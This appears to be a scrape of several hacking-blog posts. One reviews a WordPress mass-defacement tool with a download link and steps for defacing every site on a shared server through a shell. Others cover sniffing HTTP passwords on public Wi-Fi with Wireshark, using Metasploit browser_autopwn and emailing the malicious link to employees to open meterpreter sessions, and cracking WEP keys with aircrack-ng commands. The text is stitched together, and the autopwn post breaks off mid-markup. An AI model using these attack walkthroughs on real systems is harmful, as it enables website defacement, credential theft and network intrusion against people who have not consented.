<div dir="ltr" style="text-align: left;" trbidi="on"><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiamojWq9oUtKbinoUY6X11q_QIxLhONc0EFVunzeHerKjyL-nRVcIiT5Y1vt-nJ3CGyzNGhzoKiOqmLm0aD9rfco3D3T9l56zXGssuDVh0VmFnBUDmcVWrXYXCpZ1OEGisI1OMDmejK_o/s1600/deface.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="254" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiamojWq9oUtKbinoUY6X11q_QIxLhONc0EFVunzeHerKjyL-nRVcIiT5Y1vt-nJ3CGyzNGhzoKiOqmLm0aD9rfco3D3T9l56zXGssuDVh0VmFnBUDmcVWrXYXCpZ1OEGisI1OMDmejK_o/s320/deface.jpg" width="320" /></a></div><br />Wordpress as being one the widely used CMS platform is one the favorite target of hackers now a days along with WHMCS, Instead of directly targeting wordpress fucntionalities and vulnerable plugins, it has been observed that the hackers are targeting a vulnerable website on the same server and using it they are able to bypass server restrictions in order to get the configuration file and hence hacking in to the wordpress. This method is commonly known as <a href="http://www.rafayhackingarticles.net/2012/01/hack-website-on-shared-host-symlink.html" target="_blank">Symlink Bypassing</a> in Black Hat World and server bypassing in White hat community.<br /><a name='more'></a>Now it's a difficult task for an attacker to manually connect to the database and then manually replace the index file of worpdress for a successful defacement. Therefore hackers use Mass defacers. These are tools used by hackers to change the index files of all the websites present on the server with their own defacement page, This usually happens when the hacker has root level access on the server.<br /><br />Recently, The admin of Team Root <b>"Mauritania Attacker"</b> mailed me his tool for the review, Which can be used by attackers to deface all the wordpress websites present on the same server.<br /><b><br /></b><b>How Does It Work?</b><br /><br />For this tool to work the only requirement would be that the server is vulnerable to symlink bypass, This tool will automatically symlink all the wordpress websites on the server and replace their indexes with the page you will provide (.html or .PHP).<br /><b><br /></b><b>How To Use It?</b><br /><b><br /></b>The usage is extremely simple and i really don't see purpose of creating a tutorial, however this blog is mostly read by newbies, So I will add some screen shots.<br /><br /><b>Requirements</b><br /><b><br /></b><b>1. </b>Shell On The Server<br /><b>2. </b>The shell should not be secured from <a href="http://www.rafayhackingarticles.net/2012/01/hack-website-on-shared-host-symlink.html" target="_blank">Symlink Bypassing</a>.<br /><b>3. </b><a href="http://www.mediafire.com/?csl88kbgs3jxxz3" rel="nofollow" target="_blank">Wordpress Mass Defacement Tool</a><br /><br />Once you have completed all the above requirements, Just upload the Mass Defacement tool to the webserver, it will look some thing like this, Now replace the contents of index url with your own defacement page.<br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgnr519KsgUSeUyQB-n1NkWVBtghX1lStMkrVK-s92y5lQij6oCMMlgiJK859Ebh7a5AXqKCah4MirCXfhraJEQODS1xo0n1rV3CaKg_rXNn6VMrprJgXffJKyFnsMNtuvatWau9a5Ar7Q/s1600/screen1.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="380" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgnr519KsgUSeUyQB-n1NkWVBtghX1lStMkrVK-s92y5lQij6oCMMlgiJK859Ebh7a5AXqKCah4MirCXfhraJEQODS1xo0n1rV3CaKg_rXNn6VMrprJgXffJKyFnsMNtuvatWau9a5Ar7Q/s640/screen1.JPG" width="577" /></a></div><br />Next you will see the results for the websites, yo have been able to deface:<br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjF3Bt8Xpy5zerLrxXB2aXO5wvvNcSpncDEWyV8nTsMamEFWEgRBTkFICqbVnAEhmX4-si2JLdSmnY-r5IXtvEDOfRRqRYfUcYKL8zjDRArUlg8ZdyCITSvRSaNahyphenhyphenNwccIfrd-JoUYKSQ/s1600/screen2.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="382" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjF3Bt8Xpy5zerLrxXB2aXO5wvvNcSpncDEWyV8nTsMamEFWEgRBTkFICqbVnAEhmX4-si2JLdSmnY-r5IXtvEDOfRRqRYfUcYKL8zjDRArUlg8ZdyCITSvRSaNahyphenhyphenNwccIfrd-JoUYKSQ/s640/screen2.JPG" width="577" /></a></div><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhrd_9BVIuslvmPIDpVTF3M47NWq4J3lWTD_nfYwfhk1itmt4cFeIqLmPO51qSuPboKUJwJ36mm4Qi0RcbdEYV37QG8AKmBtTBjT7RKjle2VsREs2ZNOP-Tk1f7MNiLdYx_2AB5O_7XEmM/s1600/screen3.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="60" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhrd_9BVIuslvmPIDpVTF3M47NWq4J3lWTD_nfYwfhk1itmt4cFeIqLmPO51qSuPboKUJwJ36mm4Qi0RcbdEYV37QG8AKmBtTBjT7RKjle2VsREs2ZNOP-Tk1f7MNiLdYx_2AB5O_7XEmM/s640/screen3.JPG" width="577" /></a></div><br />And finally you can view the list of all the websites, you were able to deface:<br /><br /><div class="separator" style="clear: both; text-align: center;"></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjil_TdV4roZ13lnmdfL_bSx2jOQbNcJdX7gdJugQVX7oUSnTkWACGkRARfsjkjFV_CIzDX9ZJGTkV3NaG5DpqjGP0hyphenhyphen6gNSeP8xMBqEdbhrxhyHTh0tiTKREm9wy8l6vfHhWIxOfJzZdE/s1600/4.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="100" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjil_TdV4roZ13lnmdfL_bSx2jOQbNcJdX7gdJugQVX7oUSnTkWACGkRARfsjkjFV_CIzDX9ZJGTkV3NaG5DpqjGP0hyphenhyphen6gNSeP8xMBqEdbhrxhyHTh0tiTKREm9wy8l6vfHhWIxOfJzZdE/s640/4.png" width="577" /></a></div><br /><b><br /></b><b>How To Protect Your Self?</b><br /><br />In order to protect your website from being defaced, All you need to do is to change the permissions of your index files to 400. So no one will be able to change them, however if an attacker has root level access on the server, there is no way of protecting your website, since the attacker can manually change the permissions. </div>

Wordpress Mass Defacement Tool

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How To Hack HTTP Passwords With Wireshark

<div dir="ltr" style="text-align: left;" trbidi="on"><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiOB2tBLANKmRK5VrXbURtFIlfFLJvorIiFc0NmVRcgkt4oufVkX9805-bPiQAijv3Iy7XvuCBpPwy5L7AT1JifFL1WYKIhhkJkhyphenhyphenVGuq92ncTtDIAQbX-2cogAKsxX_GIObT_UR_Iw9D8/s1600/images.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiOB2tBLANKmRK5VrXbURtFIlfFLJvorIiFc0NmVRcgkt4oufVkX9805-bPiQAijv3Iy7XvuCBpPwy5L7AT1JifFL1WYKIhhkJkhyphenhyphenVGuq92ncTtDIAQbX-2cogAKsxX_GIObT_UR_Iw9D8/s1600/images.jpg" /></a></div><br />Most of the websites on the Internet use<b> HTTP protocol</b> for comunication which runs on Port 80, The data send to the server is Un-encrpypted and goes in plain text. If you are using <b>HTTPS </b>(Port 443), The data will be send to the server encrypted. When ever you enter the data in a Form, Your browser either sends a POST Or Get Request to the webserver, In most cases you will see POST method used in forms. Now most of the websites on the internet use Http protocol for the authentication, which enables an attacker on the local area network to sniff every thing that goes through that form, That's the reason why you see websites like Paypal, Ebay, Gmail with https.<br /><br /><a name='more'></a><br />In this tutorial, I will show you <b>how a hacker can hack passwords</b> sent via http to the server with wireshark. Wireshark is a network analysis tool used to capture and analyze all the packets being send from your computer to the server.<br /><h4>Attack Scenario</h4>Let's suppose that you went to starbucks to have a coffee with your friend, You have connected to the wifi hotspot, An attacker comes in and starts wireshark and captures your HTTP Post passwords and therefore compromising your security.<br /><h4>How To Hack HTTP Passwords With Wireshark</h4>Before, you i show you how to hack http passwords, i would like to let you know that for a successful capture, your network card should be in Promiscuous mode, which will enable to capture all the traffic going through your network.<br /><b><br /></b><b>Step 1 - </b>First of all download wireshark from the official website and install it on your computer.<br /><br /><b>Step 2 -</b> Next open up wireshark click on analyze and click on interfaces at the top.<br /><img border="0" height="250" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg8Eb6NAOzydt2tEOWw4eAkO9fGgNLCsxpnd6wWdQvq92d8CiXcl5VO9O8u8ysIyZ3ovNOJ1pOsqH97nY-6ak0IfyV1vqjwN2_sn87L5A3q4OJDbuZ1DgnKd9WD4z4BZ7_XOzdpf5hQOJo/s640/Untitled.png" style="background-color: white; border-width: 0px; color: #a46f38; font-family: Verdana; font-size: 12px; line-height: 19.200000762939453px; padding: 10px; text-align: center;" width="577" /><br /><br /><b>Step 3 -</b> Next choose the appropriate interface and click on start. Wireshark would start sniffing the network.<br /><br /><b>Step 4 - </b>Continue sniffing for around 10 minutes. Step 5 - After 10minutes stop the packet sniffing by going to the capture menu and clicking on Stop.<br /><br />In the mean time, Log into any website (For Testing Purposes), having http Authentication.<br /><br /><b>Step 6 -</b> Next set the filter to <b>http.request.method == "POST", </b>This will enable it to capture all the HTTP Post request going through your computer. Start analyzing the packets and locate the website in which you logged in having http authentication.<br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEglttVRE0XRReXfX5ucAlI7jMXSbWBJYdCk7GxmeevYqUPdspZo2JagrKSdWohNnK6kb19UFpMmSVZJ74Dr0h2ElaXpkUZTbbjgni373uD09nDTbQuPcLhbGBZ5M4P6cDOIJZBJG7kvfJc/s1600/new.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="420" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEglttVRE0XRReXfX5ucAlI7jMXSbWBJYdCk7GxmeevYqUPdspZo2JagrKSdWohNnK6kb19UFpMmSVZJ74Dr0h2ElaXpkUZTbbjgni373uD09nDTbQuPcLhbGBZ5M4P6cDOIJZBJG7kvfJc/s640/new.png" width="577" /></a></div><br /><br />Step 7 - Next click on Follow TCP stream. You will see the username and password that you entered. In this particular senario i logged in my wordpress account, where i entered the <b>username:admin</b> and <b>password:rafayhackingarticles</b>, Since wordpress uses http for authentication, The data that was entered was successfully captured.<br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjPq7Dfp4LuUXvcbpk0F8gVOpz_vDKnzQjtKeELijXwoiXurZKbrYP8mMDqThR4vOPPgCVJQLeGMkOi9YwIiRq91o2G2hQ0si_hYEyU5gQBeS-Yn4sbyT1pPFZw2wNZnp18GTWPWGfVVgA/s1600/Untitled.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="362" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjPq7Dfp4LuUXvcbpk0F8gVOpz_vDKnzQjtKeELijXwoiXurZKbrYP8mMDqThR4vOPPgCVJQLeGMkOi9YwIiRq91o2G2hQ0si_hYEyU5gQBeS-Yn4sbyT1pPFZw2wNZnp18GTWPWGfVVgA/s640/Untitled.png" width="577" /></a></div><div class="separator" style="clear: both; text-align: center;"><b><br /></b></div><div class="separator" style="clear: both; text-align: left;"><b>Countermeasures</b></div><br />The best countermeasure would be to use a VPN, so that all the traffic would be encrpyted.<br /><div class="separator" style="clear: both; text-align: left;"><b><br /></b></div><div class="separator" style="clear: both; text-align: left;"><b>You Might Also like:</b></div><div class="separator" style="clear: both; text-align: left;"></div><ul style="text-align: left;"><li><b><a href="http://www.rafayhackingarticles.net/2012/10/hack-facebook-account-with-arp-poisoning.html" target="_blank">Hack A Facebook Password With ARP Posinoning</a></b></li></ul></div>

How To Hack HTTP Passwords With Wireshark

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how to Browser Autopwn attack in metasploit?

<div dir="ltr" style="text-align: left;" trbidi="on"><br /><div style="margin-bottom: 0in;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;">In this article we will examine the effectiveness of metasploit browser autopwn module.The basic idea behind that module is that it creates a web server in our local machine which will contain different kind of browser exploits.When the user will open the malicious link then the execution of the exploits will start against the browser of the user and if one of the exploits is successful a meterpreter session will open. </span></span></div><div style="margin-bottom: 0in;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"></span></span></div><div style="margin-bottom: 0in;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;">In order to use this attack we have to open the metasploit framework and to use the browser_autopwn module.In the next image you can see the available options and default settings for this module. </span></span></div><div class="separator" style="clear: both; text-align: center;"><br /></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjKPe-psk1sMcEI9KUAEvTmSGgginsUYbSZSRJuk65WakQi2PmvZtX9k8qNpW0PWz0c_oqs2Vjc9HYNNMOC2LE2tV0rE3vxWpJu35bHi3Ft0yvBdEvzo-4AU2HwIsbyki_Z5aHuawva6doI/s1600/129.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="metasploit-autopwn" border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjKPe-psk1sMcEI9KUAEvTmSGgginsUYbSZSRJuk65WakQi2PmvZtX9k8qNpW0PWz0c_oqs2Vjc9HYNNMOC2LE2tV0rE3vxWpJu35bHi3Ft0yvBdEvzo-4AU2HwIsbyki_Z5aHuawva6doI/s1600/129.png" title="metasploit-autopwn" /></a></div><br /><div class="separator" style="clear: both; text-align: center;"></div><a name='more'></a><br /><div class="separator" style="clear: both; text-align: center;"></div><div style="margin-bottom: 0in;"><span style="font-family: 'Bitstream Charter', serif; font-size: medium;">We will set up the LHOST with our IP address,the SRVPORT with the port 80 (otherwise the link that we have to send to the user must me in the format IP:8080) and the URIPATH with / in order to prevent metasploit to set up random URL’s.</span><br /></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjla7HQy3E5TTXiIlXLWOcy3Xr9LK0iZFjbIBW4Sg3kIaifQ_7g44dcRp3Bch44Hr6J5Pmkxlx3_gqh78fNItQ1x4LBaogxGe2VQ7XHjm85P4dFetjulJSaTD2dJCvx9mULNkzqhBpMxCuN/s1600/216.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="metasploit-autopwn" border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjla7HQy3E5TTXiIlXLWOcy3Xr9LK0iZFjbIBW4Sg3kIaifQ_7g44dcRp3Bch44Hr6J5Pmkxlx3_gqh78fNItQ1x4LBaogxGe2VQ7XHjm85P4dFetjulJSaTD2dJCvx9mULNkzqhBpMxCuN/s1600/216.png" title="metasploit-autopwn-1" /></a></div><div style="margin-bottom: 0in;"><br /></div><div style="margin-bottom: 0in;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;">After the execution of this module we will notice that different exploits for a variety of browsers will start loading to our web server. </span></span></div><div class="separator" style="clear: both; text-align: center;"><br /></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg-QSCAHUtyjnCATCCXnkYxKWAqkJirTGx-PRk0dkc_8pXg6WHIJUEIOoBbKJMSG-TV1qohDvSwb0CIguXZ2Pge8xnLw2Qoq9hRwvKUHz7pQA2xuDWKJufelyOzr6ePFS6yOqpKk_FT_spt/s1600/410.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="metasploit-autopwn" border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg-QSCAHUtyjnCATCCXnkYxKWAqkJirTGx-PRk0dkc_8pXg6WHIJUEIOoBbKJMSG-TV1qohDvSwb0CIguXZ2Pge8xnLw2Qoq9hRwvKUHz7pQA2xuDWKJufelyOzr6ePFS6yOqpKk_FT_spt/s1600/410.png" title="metasploit-autopwn-2" /></a></div><div style="margin-bottom: 0in;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"><br /></span></span></div><div style="margin-bottom: 0in;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"></span></span></div><div style="margin-bottom: 0in;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;">Now we can share the link through our email to our client employees.If any user opens the malicious link,the autopwn module will try all these exploits in order to see if it can break into the client.If the browser is vulnerable to any of these exploits meterpreter sessions will open. </span></span></div><div class="separator" style="clear: both; text-align: center;"><br /></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiN8B0O5w4TdomH1f-OaA8FF_6i5aUzwCWpy99apziusEX6oAOHtWKklUPWQJHJV6X1YB7xCv9ggjaTKM8DMeUFPxDSOYVUeff3FJCSo8SYyyhtGU3Uq0KqYluxAqoYiMjp2xGoFtc8J5C_/s1600/39.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="metasploit-autopwn" border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiN8B0O5w4TdomH1f-OaA8FF_6i5aUzwCWpy99apziusEX6oAOHtWKklUPWQJHJV6X1YB7xCv9ggjaTKM8DMeUFPxDSOYVUeff3FJCSo8SYyyhtGU3Uq0KqYluxAqoYiMjp2xGoFtc8J5C_/s1600/39.png" title="metasploit-autopwn-3" /></a></div><div style="margin-bottom: 0in;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"><br /></span></span></div><div style="margin-bottom: 0in;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"></span></span></div><div style="margin-bottom: 0in;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;">Browser based attacks are not stable.This is because browsers can crash which means that the meterpreter session or the shell access will lost.For that reason the metasploit will try to migrate with a another process more stable as soon as possible.</span></span></div><div class="separator" style="clear: both; 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How to crack wi-fi password in ubuntu?

<div dir="ltr" style="text-align: left;" trbidi="on"><br /><div style="margin-bottom: 0in;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;">For this purpose we are going to use Ubuntu. First we have to install air-crack program in o.s</span></span></div><div style="margin-bottom: 0in;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;">(1)install aircrack</span></span></div><div style="margin-bottom: 0in;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;">sudo apt-get install aircrack-ng </span></span></div><div style="margin-bottom: 0in;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"></span></span></div><div style="margin-bottom: 0in;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"><br /></span></span></div><div style="margin-bottom: 0in;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;">(2) You need to go in root first. For this purpose type “su –“ and type your password. </span></span></div><div style="margin-bottom: 0in;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"></span></span></div><div style="margin-bottom: 0in;"><br /></div><div style="margin-bottom: 0in;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;">(3)now type following command in terminal</span></span></div><div style="margin-bottom: 0in;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;">Code: </span></span></div><div style="margin-bottom: 0in;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"># iwconfig wlan0 mode monitoring </span></span></div><div style="margin-bottom: 0in;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"></span></span></div><div style="margin-bottom: 0in;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;">Note: If some sort of error occurs type “# iwconfig” in a terminal to check for your wireless. </span></span></div><div style="margin-bottom: 0in;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"><br /></span></span></div><div style="margin-bottom: 0in;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"></span></span></div><div style="margin-bottom: 0in;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;">(4)After that it’s time to scan for a wireless network which we will compromise with educational purpose. This time we will use the command: </span></span></div><div style="margin-bottom: 0in;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"></span></span></div><div style="margin-bottom: 0in;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;">Code: </span></span></div><div style="margin-bottom: 0in;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"># airodump-ng wlan0 </span></span><br /></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEirM4FuPXfBBR-YW6oh4KtxWngTxK8HJSr5kSE1FCNtONDizkIwuhftKn3TqH12l3c75gSMV8PVi7OtFzxYlrCpjRC9PnJQ5iSf8IuyiURBsvhbq44wx-FlHLkTxOZB3iKvw12rXYnyHetl/s1600/be11f84f0e27d568.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="crack-wi-fi-password-in-ubuntu" border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEirM4FuPXfBBR-YW6oh4KtxWngTxK8HJSr5kSE1FCNtONDizkIwuhftKn3TqH12l3c75gSMV8PVi7OtFzxYlrCpjRC9PnJQ5iSf8IuyiURBsvhbq44wx-FlHLkTxOZB3iKvw12rXYnyHetl/s1600/be11f84f0e27d568.jpg" title="crack-wi-fi-password-in-ubuntu" /></a></div><div style="margin-bottom: 0in;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"></span></span></div><a name='more'></a><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"><br /></span></span><div style="margin-bottom: 0in;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"></span></span></div><div style="margin-bottom: 0in;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"></span></span></div><div style="margin-bottom: 0in;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;">(5)Once you’ve found one, abort the process with Ctrl+C. Now when we have got our target it’s time to collect some information about the network. First of all copy the MAC Address of the access point which stands for BSSID (should look something like 00:15:EB:E7: …). Another thing is that we need to know the channel it’s currently working on (could see that under CH – e.g. 6). So let’s gather our information with airodump-ng. </span></span></div><div style="margin-bottom: 0in;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"></span></span></div><div style="margin-bottom: 0in;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;">Code: </span></span></div><div style="margin-bottom: 0in;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"># airodump-ng –w wep –c 6 –bssid 00:15:EB:E7: … wlan0 </span></span><br /></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiLkTFEiJ6oFocu0T62IV9aDwCyvRMKQr2JoSVdOQze8Alai-R2F1IGabkGZMeceULwGuRtKpIVSyolhdOBONPHzBV-AXtouvdQZEgROyo7tY8xx8_Ji9ZbQXY68JTFZ2f8R_LFAylIEA9E/s1600/8875fd4ff599432c.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="crack-wi-fi-password-in-ubuntu" border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiLkTFEiJ6oFocu0T62IV9aDwCyvRMKQr2JoSVdOQze8Alai-R2F1IGabkGZMeceULwGuRtKpIVSyolhdOBONPHzBV-AXtouvdQZEgROyo7tY8xx8_Ji9ZbQXY68JTFZ2f8R_LFAylIEA9E/s1600/8875fd4ff599432c.jpg" title="crack-wi-fi-password-in-ubuntu-2" /></a></div><div style="margin-bottom: 0in;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"><br /></span></span></div><div style="margin-bottom: 0in;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"></span></span></div><div style="margin-bottom: 0in;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"></span></span></div><div style="margin-bottom: 0in;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"></span></span></div><div style="margin-bottom: 0in;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;">(6)Now we need to open another terminal in which we will use ARP Reply attack to increase the amount of data packets and gather the initializing vectors or IV of the earlier chosen Access Point. </span></span></div><div style="margin-bottom: 0in;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"></span></span></div><div style="margin-bottom: 0in;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;">Code: </span></span></div><div style="margin-bottom: 0in;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"># aireplay-ng -3 –b 00:15:EB:E7: … wlan0 </span></span><br /></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhKASYu-HCotZWJ3iI9DetjnkS74ao2ecfzN15dRfdVswZW3fVi3Xp_h_rIdLi0uEx1bXXN2y4Spjw3h8MKd0FJpA72ZhJlPJI0WJtRyezKO0_IgdOPi990myC3A6-K8HLN7Y_QKn8P3nfx/s1600/b15c84ed10ebe1ee.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="crack-wi-fi-password-in-ubuntu" border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhKASYu-HCotZWJ3iI9DetjnkS74ao2ecfzN15dRfdVswZW3fVi3Xp_h_rIdLi0uEx1bXXN2y4Spjw3h8MKd0FJpA72ZhJlPJI0WJtRyezKO0_IgdOPi990myC3A6-K8HLN7Y_QKn8P3nfx/s1600/b15c84ed10ebe1ee.jpg" title="crack-wi-fi-password-in-ubuntu-3" /></a></div><div style="margin-bottom: 0in;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"><br /></span></span></div><div style="margin-bottom: 0in;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"></span></span></div><div style="margin-bottom: 0in;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"></span></span></div><div style="margin-bottom: 0in;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"></span></span></div><div style="margin-bottom: 0in;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;">(7)Let’s go to terminal 1 again and have a look at the data packets. We need to have collected over 20 000 packets. If so abort both airodump-ng and aireplay-ng. </span></span></div><div style="margin-bottom: 0in;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;">Now we have everything required to decode the key of the wireless network. We do that with aircrack as shown below: </span></span></div><div style="margin-bottom: 0in;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"></span></span></div><div style="margin-bottom: 0in;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;">Code: </span></span></div><div style="margin-bottom: 0in;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"># aircrack-ng wep-03.cap </span></span><br /></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh1H3Cl11kMgJDJPpxMW6oSS-CxU7p3Gg3BVsi1PKMYOS0fCwwNBiW5YyfsoUifp08UtKI5Bez00LE5gztAgp3fxAANsX0acdaezeABQGQ3yHn8H5fLByKzFtJS3Up2VRK-7FDNDqmjhg9d/s1600/537f3d09952d7c01.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="crack-wi-fi-password-in-ubuntu" border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh1H3Cl11kMgJDJPpxMW6oSS-CxU7p3Gg3BVsi1PKMYOS0fCwwNBiW5YyfsoUifp08UtKI5Bez00LE5gztAgp3fxAANsX0acdaezeABQGQ3yHn8H5fLByKzFtJS3Up2VRK-7FDNDqmjhg9d/s1600/537f3d09952d7c01.jpg" title="crack-wi-fi-password-in-ubuntu-4" /></a></div><div style="margin-bottom: 0in;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"><br /></span></span></div><div style="margin-bottom: 0in;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"></span></span></div><div style="margin-bottom: 0in;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"></span></span></div><div style="margin-bottom: 0in;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"></span></span></div><div style="margin-bottom: 0in;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;">Then you should see that the key has been decrypted 100% successfully and the key itself.</span></span></div></div>

How to crack wi-fi password in ubuntu?

For this purpose we are going to use Ubuntu. First we have to install air-crack program in o.s (1)install aircrack sudo apt-get install airc...

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How to exploit VSFTPD ?

